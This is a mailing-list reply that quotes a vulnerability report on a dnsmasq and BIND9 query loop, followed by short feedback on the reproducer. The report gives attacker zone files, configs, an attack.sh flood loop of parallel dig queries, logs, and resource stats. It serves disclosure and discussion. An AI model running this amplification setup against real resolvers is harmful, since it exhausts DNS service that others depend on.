On Tue, Apr 08, 2025 at 02:12:24PM +0800, 孔俊 wrote:
> Hello there,
>
> I'd like to discuss a dnsmasq issue — especially since it also
> involves BIND9. Due to the issue can potentially cause the BIND9
> resolver to crash through dnsmasq, it's definitely worth a deeper
> look. Thank you for taking the time to read my document.
>
> Best regards,
> jun kong
>
>
> Dnsmasq-discuss mailing list
The document inline,
markdown formatting probably lost,
for the sake of discussion [1]
> _______________________________________________
# Using dnsmasq to make bind9 resolver crash
### Summary
Dnsmasq does not impose any restrictions on forwarding DNS packets. Due
to this characteristic, it is possible to delegate queries to dnsmasq in
a way that causes it to forward RD=0 DNS query packets to the resolver,
leading to cache spoofing and potentially even causing the DNS resolver
to crash.
### Dnsmasq versions affected
Dnsmasq version 2.90 Copyright (c) 2000-2024 Simon Kelley
Compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN
DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth cryptohash
DNSSEC loop-detect inotify dumpfile
This software comes with ABSOLUTELY NO WARRANTY.
Dnsmasq is free software, and you are welcome to redistribute it
under the terms of the GNU General Public License, version 2 or 3..
### BIND versions affected
BIND 9.18.34 (Extended Support Version) [id:]
### Preconditions and assumptions
The attacker needs to control two authoritative DNS servers and one
dnsmasq forwarder. The attack setup involves the following steps:
On Authoritative DNS Server A, configure a large number of NS records
pointing to Authoritative DNS Server B.
On Authoritative DNS Server B, configure corresponding A records pointing
to the dnsmasq forwarder.
Set the dnsmasq forwarder's forwarder to point to the target BIND9 resolver.
The attacker can then initiate the attack either by querying the
controlled dnsmasq forwarder or by directly querying the target BIND9
resolver.
### Attacker's abilities
The attacker needs to control two authoritative DNS servers and one
dnsmasq forwarder. The attack setup involves the following steps:
On Authoritative DNS Server A, configure a large number of NS records
pointing to Authoritative DNS Server B.
On Authoritative DNS Server B, configure corresponding A records pointing
to the dnsmasq forwarder.
Set the dnsmasq forwarder's forwarder to point to the target BIND9
resolver.
Additionally, the attacker needs to be capable of concurrently executing
a large volume of DNS query requests.
### Impact
After launching the attack, the BIND9 resolver will continuously check,
extract, and send cache data, leading to high CPU load. The related cached
data is repeatedly transferred between the BIND9 resolver and dnsmasq.
### Steps to reproduce
1.use the attached configuration file. We need to configure two
authoritative name servers and one dnsmasq forwarder.
env file
```
BIND9_VERSION=9.18.34
DNSMASQ_IP=172.16.114.11
ROOT_SERVER_IP=172.16.114.103
TOP_LEVEL_SERVER_IP=172.16.114.104
FUN_TOP_LEVEL_SERVER_IP=172.16.114.105
VICTIM_SERVER2_IP=172.16.114.13
ATTACK_SERVER2_IP=172.16.114.15
RESOLVER_SERVER1_IP=172.16.114.18
```
Authoritative name server A
/etc/bind/attack2.com.zone
```
$TTL 65535
@ IN SOA ns1.attack2.com. admin.attack2.com. (
2024102901 ;
3600 ;
1800 ;
1209600 ;
65535 ;
)
IN NS ns1.attack2.com.
ns1.attack2.com. IN A 172.16.114.15 ;
www.attack2.com. IN A 8.210.5.115 ;
a1.attack2.com. IN NS 1a1.victim2.com.
a1.attack2.com. IN NS 1a2.victim2.com.
a1.attack2.com. IN NS 1a3.victim2.com.
a1.attack2.com. IN NS 1a4.victim2.com.
……
a1.attack2.com. IN NS 1a100.victim2.com.
a2.attack2.com. IN NS 2a1.victim2.com.
a2.attack2.com. IN NS 2a2.victim2.com.
……
a2.attack2.com. IN NS 2a100.victim2.com.
……
a100.attack2.com. IN NS 100a1.victim2.com.
a100.attack2.com. IN NS 100a2.victim2.com.
……
a100.attack2.com. IN NS 100a100.victim2.com.
……
z1.attack2.com. IN NS 1z1.victim2.com.
z1.attack2.com. IN NS 1z2.victim2.com.
……
z100.attack2.com. IN NS 100z1.victim2.com.
……
z100.attack2.com. IN NS 100z100.victim2.com.
```
Authoritative name server B
/etc/bind/victim2.com.zone
```
$TTL 65535
@ IN SOA ns1.victim2.com. admin.victim2.com. (
2024102901 ;
3600 ;
1800 ;
1209600 ;
65535 ;
)
IN NS ns1.victim2.com.
ns1.victim2.com. IN A 172.16.114.13 ;
www.victim2.com. IN A 8.210.5.115 ;
1a1.victim2.com. IN A 172.16.114.11
1a2.victim2.com. IN A 172.16.114.11
1a3.victim2.com. IN A 172.16.114.11
……
100z100.victim2.com. IN A 172.16.114.11
```
dnsmasq
/etc/dnsmasq.conf
```
no-hosts
no-resolv
server=172.16.114.18
interface=eth0
```
Victim resolver
named.conf
```
options {
directory "/var/named";
recursion yes;
allow-recursion { any; };
listen-on { any; };
listen-on-v6 { any; };
dnssec-validation no;
forwarders {};
resolver-query-timeout 200000;
max-recursion-depth 150000;
max-recursion-queries 150000;
};
logging {
channel query_log {
file "/var/log/named.log" versions 3 size 5m;
severity info;
print-time yes;
print-severity yes;
print-category yes;
};
category queries { query_log;};
};
zone "." IN {
type hint;
file "/etc/bind/root.hints";
};
```
2.Start the BIND server with command:`named -g -c /etc/bind/named.conf `
3.Simulate attack traffic using the command
```shell
./attack.sh
TARGET_IPS: 172.16.114.18
Attack_DOMAIN_PREFIX: attack2.com
```
attack.sh
```shell
read -p "TARGET_IPS: " TARGET_IPS
read -p "Attack_DOMAIN_PREFIX: " DOMAIN_PREFIX
while true; do
echo {a..z}{1..20} | tr ' ' '\n' | parallel -j 0 dig @"${TARGET_IPS}"
{}.${DOMAIN_PREFIX} &
echo {a..z}{21..40} | tr ' ' '\n' | parallel -j 0 dig @"${TARGET_IPS}"
{}.${DOMAIN_PREFIX} &
echo {a..z}{41..60} | tr ' ' '\n' | parallel -j 0 dig @"${TARGET_IPS}"
{}.${DOMAIN_PREFIX} &
echo {a..z}{61..80} | tr ' ' '\n' | parallel -j 0 dig @"${TARGET_IPS}"
{}.${DOMAIN_PREFIX} &
echo {a..z}{81..100} | tr ' ' '\n' | parallel -j 0 dig @"${TARGET_IPS}"
{}.${DOMAIN_PREFIX}
done
```
### What is the current *bug* behavior?
After performing iterative queries, the resolver sends a DNS query
packet with the RD bit set to 0 to dnsmasq. Upon receiving it, dnsmasq
immediately forwards the query to the BIND9 resolver. The BIND9 resolver,
in turn, sends the related cache data back to dnsmasq, which then forwards
it back to the BIND9 resolver again. During this process, the CPU usage
of the BIND9 resolver increases and bandwidth is consumed.
### What is the expected *correct* behavior?
The Dnsmasq should inspect incoming DNS packets and apply filtering
before forwarding them — for example, filtering out those that may
cause query loops.
### Relevant logs
The request log generated by querying the resolver once for a1.attack2.com
is as follows:
```shell
03-Apr-2025 05:10:11.656 client @0x7f7fd4000e98 172.25.0.1#53531
(a1.attack2.com): query: a1.attack2.com IN A +E(0)K (172.25.114.18)
03-Apr-2025 05:10:11.656 client @0x7f7fac000e98 172.25.114.11#45312
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.660 client @0x7f7fac009e38 172.25.114.11#42216
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.660 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.660 client @0x7f7f1c000e98 172.25.114.11#42407
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.660 client @0x7f7fa8004168 172.25.114.11#42232
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.664 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.664 client @0x7f7fcc0016e8 172.25.114.11#35871
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.664 client @0x7f7fc0004168 172.25.114.11#42236
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.664 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.664 client @0x7f7f1c000e98 172.25.114.11#38600
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.664 client @0x7f7f88004168 172.25.114.11#42238
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.668 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.668 client @0x7f8028002b98 172.25.114.11#53900
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.668 client @0x7f8030005328 172.25.114.11#42240
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.668 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.668 client @0x7f7efc000e98 172.25.114.11#34534
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.672 client @0x7f8018004168 172.25.114.11#42246
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.672 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.672 client @0x7f7f10000e98 172.25.114.11#39527
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.672 client @0x7f7f500023a8 172.25.114.11#42260
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.672 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.676 client @0x7f804c002288 172.25.114.11#43530
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.676 client @0x7f800c00a608 172.25.114.11#42262
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.676 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.676 client @0x7f7fb4000e98 172.25.114.11#34757
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.676 client @0x7f7ff8004168 172.25.114.11#42266
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.680 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.680 client @0x7f7f24000e98 172.25.114.11#38992
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.680 client @0x7f7f2c004168 172.25.114.11#42274
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.680 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.680 client @0x7f7ef0000e98 172.25.114.11#41795
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.684 client @0x7f804400bd78 172.25.114.11#42284
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.684 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.684 client @0x7f7f70000e98 172.25.114.11#37902
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.684 client @0x7f7fb80049b8 172.25.114.11#42300
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.684 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.688 client @0x7f8008001728 172.25.114.11#49112
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.688 client @0x7f7f48004168 172.25.114.11#42306
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.688 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.688 client @0x7f7ff0000e98 172.25.114.11#46963
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.688 client @0x7f7f8c0049f8 172.25.114.11#42310
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.692 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.692 client @0x7f7ee4000e98 172.25.114.11#56631
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.692 client @0x7f7f98004168 172.25.114.11#42322
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.692 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.692 client @0x7f7ee4000e98 172.25.114.11#39955
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.696 client @0x7f8008008958 172.25.114.11#42330
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.696 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.696 client @0x7f8048002d08 172.25.114.11#44902
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.696 client @0x7f7ef0009e38 172.25.114.11#42340
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.696 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.696 client @0x7f7ef0000e98 172.25.114.11#50258
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.700 client @0x7f7f140023a8 172.25.114.11#42356
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.700 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.700 client @0x7f801c000e98 172.25.114.11#59287
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.700 client @0x7f8010009df8 172.25.114.11#42364
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.700 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.700 client @0x7f7f14004168 172.25.114.11#43994
(a1.attack2.com): query: a1.attack2.com IN A -E(0)DCV (172.25.114.18)
03-Apr-2025 05:10:11.704 client @0x7f7ef4004168 172.25.114.11#42380
(a1.attack2.com): query: a1.attack2.com IN A -E(0)TDCV (172.25.114.18)
03-Apr-2025 05:10:11.704 lame server resolving 'a1.attack2.com' (in
'a1.attack2.com'?): 172.25.114.11#53
03-Apr-2025 05:10:11.704 client @0x7f7fd4000e98 172.25.0.1#53531
(a1.attack2.com): query failed (failure) for a1.attack2.com/IN/A at query.c:7885
```
System monitoring data is as follows:
```shell
#docker stats | grep resolver1
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 0.00% 46.67MiB / 2.5GiB 1.82%
10kB / 126B 4.1kB / 0B 163
cfc4e71d77c6 resolver1 35.91% 63.39MiB / 2.5GiB 2.48%
208kB / 91.3kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 35.91% 63.39MiB / 2.5GiB 2.48%
208kB / 91.3kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 35.91% 63.39MiB / 2.5GiB 2.48%
208kB / 91.3kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 35.91% 63.39MiB / 2.5GiB 2.48%
208kB / 91.3kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 197.74% 146.1MiB / 2.5GiB 5.71%
1.8MB / 810kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 197.74% 146.1MiB / 2.5GiB 5.71%
1.8MB / 810kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 197.74% 146.1MiB / 2.5GiB 5.71%
1.8MB / 810kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 197.74% 146.1MiB / 2.5GiB 5.71%
1.8MB / 810kB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 216.88% 159.6MiB / 2.5GiB 6.24%
3.16MB / 1.39MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 216.88% 159.6MiB / 2.5GiB 6.24%
3.16MB / 1.39MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 216.88% 159.6MiB / 2.5GiB 6.24%
3.16MB / 1.39MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 216.88% 159.6MiB / 2.5GiB 6.24%
3.16MB / 1.39MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 205.44% 166.3MiB / 2.5GiB 6.50%
3.51MB / 1.55MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 205.44% 166.3MiB / 2.5GiB 6.50%
3.51MB / 1.55MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 205.44% 166.3MiB / 2.5GiB 6.50%
3.51MB / 1.55MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 205.44% 166.3MiB / 2.5GiB 6.50%
3.51MB / 1.55MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 187.48% 171.3MiB / 2.5GiB 6.69%
3.84MB / 1.69MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 187.48% 171.3MiB / 2.5GiB 6.69%
3.84MB / 1.69MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 187.48% 171.3MiB / 2.5GiB 6.69%
3.84MB / 1.69MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 187.48% 171.3MiB / 2.5GiB 6.69%
3.84MB / 1.69MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 212.67% 178.6MiB / 2.5GiB 6.98%
4.17MB / 1.83MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 212.67% 178.6MiB / 2.5GiB 6.98%
4.17MB / 1.83MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 212.67% 178.6MiB / 2.5GiB 6.98%
4.17MB / 1.83MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 212.67% 178.6MiB / 2.5GiB 6.98%
4.17MB / 1.83MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 212.67% 178.6MiB / 2.5GiB 6.98%
4.17MB / 1.83MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 212.67% 178.6MiB / 2.5GiB 6.98%
4.17MB / 1.83MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 207.78% 191.2MiB / 2.5GiB 7.47%
4.68MB / 1.98MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 207.78% 191.2MiB / 2.5GiB 7.47%
4.68MB / 1.98MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 207.78% 191.2MiB / 2.5GiB 7.47%
4.68MB / 1.98MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 207.78% 191.2MiB / 2.5GiB 7.47%
4.68MB / 1.98MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 189.34% 204.3MiB / 2.5GiB 7.98%
5.28MB / 2.26MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 189.34% 204.3MiB / 2.5GiB 7.98%
5.28MB / 2.26MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 189.34% 204.3MiB / 2.5GiB 7.98%
5.28MB / 2.26MB 4.1kB / 0B 163
cfc4e71d77c6 resolver1 189.34% 204.3MiB / 2.5GiB 7.98%
5.28MB / 2.26MB 4.1kB / 0B 163
```
> _______________________________________________
Some feedback, for the sake of the discussion
- To me it seems that the reproducer is build in "Docker"
- It would a good thing to have the reproducer better documented.
Example given: Document where the environment variables should read
- It would better thing to be able
to `git clone protocol://host.domain.tld/team/projectfoo.git`
where "project foo" has al the docker-compose components
- This email summary is: the email has been seen
Groeten
Geert Stappers
[1] a detour to an external document breaks discussion
--
Silence is hard to parse
_______________________________________________
Dnsmasq-discuss mailing list
Dnsmasq-discuss@lists.thekelleys.org.uk
https://lists.thekelleys.org.uk/cgi-bin/mailman/listinfo/dnsmasq-discuss
